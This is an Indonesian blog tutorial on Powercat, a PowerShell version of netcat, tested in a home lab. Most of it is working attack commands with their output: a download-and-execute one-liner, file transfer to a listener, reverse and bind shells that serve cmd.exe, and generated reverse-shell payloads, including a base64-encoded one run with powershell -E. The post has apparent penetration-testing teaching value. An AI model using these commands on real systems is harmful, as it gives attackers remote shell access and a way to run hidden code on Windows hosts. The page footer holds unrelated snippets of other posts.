Skip to main content

Powercat : Netcatnya Powershell Windows, Bisa bikin stand-alone payloadnya juga

Powercat

Powercat adalah versi powershellnya netcat yang ditulis oleh besimorhino gampangnya, powershell ini netcat tapi ditulis dalam versi powershell. Buat kalian yang belum tau apa itu netcat, bisa cek disini.

Disini saya punya 3 VM, 2 Windows dan 1 Linux.


Install Powercat

Jalankan di Linux :

apt install powercat
cd /usr/share/windows-resources/powercat
python -m SimpleHTTPServer

Jalankan di Windows :

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.56.22:8000/powercat.ps1','powercat.ps1')"
. .\powercat.ps1

atau kalau kalian punya koneksi internet, kalian bisa langsung install dengan command :

iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')


Run Powercat

PS C:\Users\fitrah.sofyan> powercat
You must select either client mode (-c) or listen mode (-l).

Transfer file

Sama kaya netcat, powercat juga bisa kirim dan terima file.

Kirim File

Jalankan di Linux :

$ sudo nc -nlvp 443 > from_windows_powercat.ps1

Jalankan di Windows 10 :

powercat -c 10.20.20.204 -p 443 -i powercat.ps1

Terima File

Jalankan di Linux :

$ sudo nc -nlvp 443 < from_windows_powercat.ps1

Jalankan di Windows :

powercat -c 10.20.20.204 -p 443 -of .\from-linux-powercat.ps1
ls .\from-linux-powercat.ps1                                                                 

    Directory: C:\Users\fitrah.sofyan


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       08/09/2020     14.55          37641 from-linux-powercat.ps1


Powercat Reverse Shell

Reverse shell ini sebuah metode untuk mendapatkan shell dari powercat yang berjalan sebagai client. Jadi, kita harus jalankan dulu listenernya.
Berikut ini cara reverse shell dengan powercat. Oiya untuk listenernya saya pake netcat yang dijalankan di linux

Eksekusi di Linux :

sudo nc -nlvp 443

Eksekusi di Windows :

powercat -c 10.20.20.204 -p 443 -e cmd.exe


Powercat Bind Shell

Bind shell ini gunanya si listener mengirimkan shellnya (dibinding). Jadi powercat berjalan sebagai listener dan melakukan binding terhadap shellnya. Jadi si client tinggal konek aja ke listenernya, nanti otomatis dapet shellnya si listener.

Eksekusi di Windows 10

powercat -l -p 443 -e cmd.exe

Eksekusi di Linux 

nc -nv 10.20.20.2 443
(UNKNOWN) [10.20.20.2] 443 (https) open
Microsoft Windows [Version 10.0.18363.720]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\fitrah.sofyan> 




Powercat Stand Alone Payloads


Jalankan dulu netcat listener di Linux :

$ netcat -lnvp 443

Jalankan di windows :

powercat -c 10.20.20.204 -p 443 -e cmd.exe -g > reverseshell.ps1
./reverseshell.ps1

Cek kembali netcat di linux



dengan opsi ini, payload yang dibuat tidak diencoding jadi terlihat scriptnya,



agar payload ini diencoding, diubah opsi -g menjadi -ge

powercat -c 10.20.20.204 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1 



kemudian ketika menjalankannya pun berbeda, yaitu dengan menggunakan command powershell -E dan diikuti isi filenya.

buka file encodedreverseshell.ps1 dan copy semua isi filenya, kemudian jalankan powershell -E isifile

powershell -E ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AMQBfAFMAZQB0AHUAcAAKAHsACgA......

kemudian cek kembali netcat di linux


Sekian, Hatur Nuhun
loading...

Comments

Popular posts from this blog

Merepresentasikan Algoritma dengan Flowchart dan Pseudocode

  Merepresentasikan Algoritma dengan Flowchart Flowchart adalah jenis diagram (grafis tau simbolik) yang mewakili suatu algoritma atau proses-proses tertentu. Setiap langkah dalam algoritma diwakili oleh simbol yang sama atau berbeda dan berisi penjelasan singkat setiap langkah. Flowchart merepresentasikan algoritma dalam bentuk desain, simbol dan dijadikan dokumentasi dan kemudian dituangkan menjadi kode-kode program. Sebelum membuat flowchart, kita harus memahami unsur flowchart sebagai berikut : Input Percabangan ( biasanya menggunakan perintah if dan switch) Perulangan ( biasanya menggunakan perintah atau kode while, for, loop, each ) Output Flowchart biasanya digambar menggunakan beberapa simbol standar, namun tidak menutup opsi lain untuk menyertakan simbol-simbol di luar standar untuk digunakan jika memang diperlukan simbol tersebut di desain yang kita buat. Berikut ini simbol – simbol yang biasa digunakan dalam flowchart. Simbol simbol diatas adalah simbol dasar yang diguna...

Contoh Soal Data dalam Sistem Bahasa Pemrograman R

  Tuliskan pernyataan R untuk membuat deret bilangan berikut : x = [-5 -4 -3 -2 -1 0 1 2 3] y = [5 4 3 2 1] z = [1000000 1166667 1333333 1500000 1666667 1833333 2000000] p = [9 9 9 5 5 5] q = [1 1 1 2 2 2 1 1 1 2 2 2] Jawaban : > x <- seq (from=-5,to=3,length=9) > x [1] -5 -4 -3 -2 -1 0 1 2 3 > y <- seq (from=5,to=1,length=5) > y [1] 5 4 3 2 1 > z <- seq (from=1000000,to=2000000,length=7) > z [1] 1000000 1166667 1333333 1500000 1666667 1833333 2000000 > p <- rep(c(9,5),each=3) > p [1] 9 9 9 5 5 5 > q <- rep(c(1,2,1,2),each=3) > q [1] 1 1 1 2 2 2 1 1 1 2 2 2 Tuliskan pernyataan R untuk membuat frame data siswa berikut : No Jurusan asal_daerah usia 1 Komputer Bogor 25 2 Fisika Bogor 25 3 Komputer Bandung 25 4 Fisika Bandung 25 5 Komputer Bogor 26 6 Fisika Bogor 26 7 Komputer Bandung 26 8 Fisika Bandung 26 Jawaban : > jurusan <- c("Komputer","Fisika","Komputer","Fisika","Komputer...

Lab 8.8 Konfigurasi Log Analyzer Visited Pages dengan Awstats di Apache pada Centos7

Assalamu’alaikum wr.wb Pada kali ini ane ingin share cara monitoring dengan awstats. Awstats adalah sebuah tools untuk memantau visited pages pada webserver. Langsung saja kita konfigurasi 1. Install epel, karena awstats ini tidak ada pada repository centos, tetapi ada pada epel. Caranya adalah seperti dibawah ini   2. Kemudian install awstats 3. Awstats ini secara default membuat konfigurasi sesuai dengan hostname. Jika tidak sesuai Antara hostname dan web yang akan dibuatkan halaman awstatsnya, maka rename konfigurasi yang ada sesuai hostname menjadi nama domain anda tanpa menghilangkan format yang ada. [root@ct-ali ~]# mv /etc/awstats/awstats.ct-ali.alisofyan.com.conf /etc/awstats/awstats.www.alisofyan.com.conf 4. Konfigurasi awstats untuk webserver yang telah diatur [root@ct-ali ~]# vi /etc/awstats/awstats.www.alisofyan.com.conf Sesuaikan konfigurasi seperti dibawah ini dengan keadaan anda  dan ...
loading...